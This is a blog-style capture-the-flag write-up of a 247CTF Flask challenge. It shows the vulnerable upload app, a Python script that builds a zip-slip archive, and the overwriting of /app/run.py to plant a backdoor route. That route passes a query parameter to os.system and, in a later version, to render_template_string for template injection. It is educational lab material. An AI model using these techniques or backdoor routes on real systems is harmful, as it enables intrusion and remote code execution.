This challenge has to be by far one of my favourite on the platform. Not only was it great fun to play, it was also a really well made challenge. I went down multiple rabbit holes, made progression, slowly, but steadily.
from flask import Flask, request import zipfile, os # Import modules app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(32) app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024 app.config['UPLOAD_FOLDER'] = '/tmp/uploads/' # Configure flask @app.route('/') # Define what to do when webroot is hit def source(): return ' %s ' % open('/app/run.py').read() # Return this python scripts source code def zip_extract(zarchive): # Define a function called "zip_extract" and accept a parameter with zipfile.ZipFile(zarchive, 'r') as z: # With read zarchive as "z" for i in z.infolist(): # For each value (i) in zarchives infolist() output with open(os.path.join(app.config['UPLOAD_FOLDER'], i.filename), 'wb') as f: f.write(z.open(i.filename, 'r').read()) # Write files in the zip file to the upload folder (/tmp/uploads) appended to our file name (this is vulnerable to the zip slip vulnerability) @app.route('/zip_upload', methods=['POST']) # Only accept POST method to this endpoint def zip_upload(): try: # Error handling if request.files and 'zarchive' in request.files: # If a file exists in the request then zarchive = request.files['zarchive'] # Assign the contents of the posted file with name "zarchive" to the zarchive variable if zarchive and '.' in zarchive.filename and zarchive.filename.rsplit('.', 1).lower() == 'zip' and zarchive.content_type == 'application/octet-stream': # If zarchive is True (not null), and there is a "." in the filename, and then split the filename into an array, using a "." as a delimiter, check for the second value in the array, and make sure it is zip, finally, check the MIME is application/octet-stream. zpath = os.path.join(app.config['UPLOAD_FOLDER'], '%s.zip' % os.urandom(8).hex()) # Set the path of the zip to be /tmp/uploads + 8 random hex bytes + .zip zarchive.save(zpath) # Save the zip zip_extract(zpath) # Run the extraction zip return 'Zip archive uploaded and extracted!' # Return the success message return 'Only valid zip archives are acepted!' # Return the restriction error message except: return 'Error occured during the zip upload process!' # Return the error message if __name__ == '__main__': app.run()
A couple of things I noticed from the initial look at the challenge were:
- There was no form provided for the file upload.
- There was a clear zip slip (path traversal) vulnerability (lines 24 & 25).
- The "os" module was imported into the script.
- The full path of the application was disclosed on line 19.
Keeping this in mind, I knew flask file write to RCE was a possibility, in certain circumstances. For example, if the script imported other custom modules in a different directory that you have write access to, it will create an over-writable
__init__.py file (See More). Or if you can somehow write to an authorized_keys file, you can SSH in.
This challenge, however, did neither of the above, so for a long time I was stumped on how I could actually achieve RCE. In my mind, I thought, if I overwrite the /app/run.py file it will crash the service and I will be locked out, so I avoided testing it the whole time (I even nmapped the challenge to find other ports...). After a while of staring at "Error occured during the zip upload process!" and reading about how flask works, I remembered seeing somewhere that if a flask app runs in debug mode, it will automatically restart the service when a change is made to the application's script (See more).
This gave me a thought: what if I had been overthinking the whole time, and it was just a matter of uploading the
app.py file. To test this theory, the first step is, of course, to give ourselves the necessary tools to make the post request with the file to the server. I made a really basic HTML file upload form that pointed at my challenge endpoint:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"/> <title>File Upload</title> </head> <body> <form action="https://XXX.247ctf.com/zip_upload" method="post" enctype="multipart/form-data"> <input type="file" name="zarchive" value="text default" /> <button type="submit">Submit</button> </form> </body> </html>
Now we can verify the upload works with a valid zip. For this, I created a new file and simply zipped it up with
zip test.zip test.
chiv@Dungeon:~$ echo "test" > test chiv@Dungeon:~$ zip test.zip test adding: test (stored 0%)
For some reason the file upload doesn't seem to think our zip is a valid one, so I used burp to intercept and debug the request that was sent.
The intercepted request is:
Immediately we can see the issue: the content type is set to
application/zip, and not
application/octet-stream. A quick, easy fix for any match / replace situations is using burpsuite's match & replace function. I made use of this to tunnel all my requests through burp, and have burp replace any
application/zip strings with
Let's try again:
Perfect. Now, for the vulnerability analysis we know that there is a zip slip / path traversal bug. We can build an example zip, and try to extract it to the webserver, see if any errors appear. To build the zip slip malicious zip I wrote a simple python script that writes a string to a file with the path traversal in it's name, and then zips it all up into a new file.
import zipfile from cStringIO import StringIO def zip_up(): f = StringIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z.writestr('../test', 'test') zip = open('slip.zip', 'wb') zip.write(f.getvalue()) zip.close() z.close() zip_up()
After running the script, I uploaded the file, and all seems to have went well, as no errors are caused. Now we can start thinking about leveraging the vulnerability to achieve code execution. As stated earlier, I looked into overwriting
__init__.py files and had no luck, I also tried overwriting some of the modules it imports, which obviously failed due to permissions.
In the end, I went back to my initial idea of overwriting the
run.py file, so I modified my zip building script to write "test" to a file that will end up in /app/run.py, and then uploaded the file. It seemed to go OK, although, I got an internal server error and couldn't hit my endpoint... of course, I the script can't handle requests if I replace it with "test". I restarted the challenge and started trying again, I decided to overwrite the run.py with a copy of run.py but with minor modifications (for example a comment), to verify the file was overwritten. No errors are shown, although the webserver is taking a while to respond, maybe it is restarting.
We finally get a response from the server and bingo:
[...] app.config['UPLOAD_FOLDER'] = '/tmp/uploads/' @app.route('/') def source(): return '%s' % open('/app/run.py').read() # Chiv was here def zip_extract(zarchive): with zipfile.ZipFile(zarchive, 'r') as z: for i in z.infolist(): with open(os.path.join(app.config['UPLOAD_FOLDER'], i.filename), 'wb') as f: f.write(z.open(i.filename, 'r').read()) @app.route('/zip_upload', methods=['POST']) def zip_upload(): [...]
We can clearly see the server has been modified. At this point my first reaction was to make use of the OS module that was already imported, so I added a conditional and the request for a get parameter to run a command on the server:
@app.route('/exec') def runcmd(): try: return os.system(request.args.get('cmd')) except: return "Exit"
Great. This carried on for a while, and I couldn't quite figure out why, so I decided to use the flask template rendering to give me a deeper look into what the application has access to (what modules are accessible for example).
from flask import Flask, request, render_template_string [...] @app.route('/exec') def runcmd(): try: return render_template_string(request.args.get('cmd')) except: return "Exit" [...]
And after a re-upload the malicious zip and verify the SSTI works with
We now have a functioning template injection. We can use the normal subclass listing as seen in Jinja2 SSTI payloads to list everything we have access to, and find something that could allow command execution; such as some sort of specific function belonging to the "os" module, or maybe something belonging to the "subprocess" module.
After identifying a valid module I can use for RCE via the template, I simply ran the necessary commands to find and read the flag.
In conclusion, I massively enjoyed the challenge, as usual https://247ctf.com delivers great challenges, and I certainly learnt a new circumstance to elevate from Flask file write to RCE.
For any further questions, feel free to get in touch at twitter.